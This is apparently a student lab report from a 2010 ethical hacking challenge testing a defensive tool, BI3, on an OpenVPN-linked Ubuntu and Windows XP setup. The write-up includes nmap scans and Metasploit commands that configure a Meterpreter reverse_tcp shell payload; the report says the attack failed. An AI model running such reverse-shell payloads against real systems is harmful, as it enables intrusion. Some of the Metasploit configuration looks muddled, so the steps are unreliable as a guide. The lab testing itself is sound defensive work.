

Ethical Hacking Challenge 2010

Milestone 3

Group Members:

Li Li (Stan) 07159382

Lebin Zhang (Aaron) 09169911

Liang Mo (Leon) 03306798

Wang Li (John) 07187882

Summary of the Vulnerability Shield

The whole Vulnerability Shield is basically constructed by two host machines and one attack machine, which we had set up two virtual OS images on two separate virtual host machines, one is Ubuntu(Linux OS),another one is Windows XP. The openVPN server had been built up on the Linux OS when the openVPN client was built up on the Windows XP. In order to run BI3 properly , we first install JVM(Java virtual machine)on two host machines. Then, we install the BI3 software package both on those two operating system, which builds as a wall that prevents the AIC from being hijacked and being used to launched further attacks. After testing the connection between two hosts, self-test and attacks start.

	Host A	Host B
Virtual Box OS	Ubuntu (Linux OS)	Window XP
OpenVPN	Server	Client
JVM	Yes	Yes
BI3	Computer_2 C2N1_Computer_2_Node_1.sh	Computer_1 C1N1_Computer_1_Node_1.bat

Host C which has been installed by Backtrack image is the attack machine, which may use the Penetration tool and Trojan to attack Host A and Host B. Besides the backtrack system, we also use metasploit and nmap as our penetration tools to attack the target machines.

Attack target machine

1. Start the Open VPN Server on the Host A in Ubuntu machine.

Open terminal window, type the command:
`openvpn etc/openvpn/server.conf`

Note: if the port 10000 is already being used then kill it.

`Fuser 10000/udp`
`Kill -9 xxx(process id)`

2. Start OpenVpn clients on the Host B in Windows XP and Backtrack machines

Open terminal window in Host C, type the command:
`openvpn etc/openvpn/client.conf`

3. Start te metasploit in Backtrack in Host C in Backtrack machines

```
./msfconsole  
root@bt: /pentest/exp  
Session Edit View Bookmarks Settings Help  
root@bt:/pentest/exploits/framework3# ./msfconsole  
      o      8      o      o  
      8      8      8      8  
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P  
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8  
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8  
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8  
.....:.....:.....:8.....:.....:.....:  
.....:.....:.....:8.....:.....:.....:  
.....:.....:.....:8.....:.....:.....:  
      =[ metasploit v3.4.2-dev [core:3.4 api:1.0]  
+ -- --=[ 576 exploits - 292 auxiliary  
+ -- --=[ 212 payloads - 27 encoders - 8 nops  
      =[ svn r9971 updated today (2010.08.07)  
msf > █
```

4. Scan for open ports using nMap

`Nmap 10.1.1.101 (ip address of xp)`

Due to all the ports except 10000 has been closed by openvpn and BI3 protects the port 10000 to deny all the attack ,the result show no port is open.

5. Launch attack

To set the payload:

```
show payloads
set payload windows/meterpreter/reverse_tcp
```

To set the LHOST (destination ip) and LPORT.

```
set LHOST 10.1.1.101 (Xp's IP)
set LPORT 10000
```

To launch the exploit

```
exploit
```

```
root@bt:/pentest/exploits/framework3# ./msfconsole
      0      8      0      0
      8      8      8      8
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8
.....:8.....
:8:
:8:

=[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 576 exploits - 292 auxiliary
+ -- --=[ 212 payloads - 27 encoders - 8 nops
=[ svn r9971 updated today (2010.08.07)

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.1.1.101
lhost => 10.1.1.101
msf exploit(handler) > set lport 10000
lport => 10000
msf exploit(handler) > exploit
```

6.Result

Whether the firewall on both host A and host B is open or not, the systems are not able to break in by backtrack because of all the ports (except port 10000 is opened which requires by project) are closed by openvpn server and BI3 which build a wall on port 10000 that fully protect the security of defined port in the program. Face to the final result , the BI3 application solving the computer security problem in a grid network.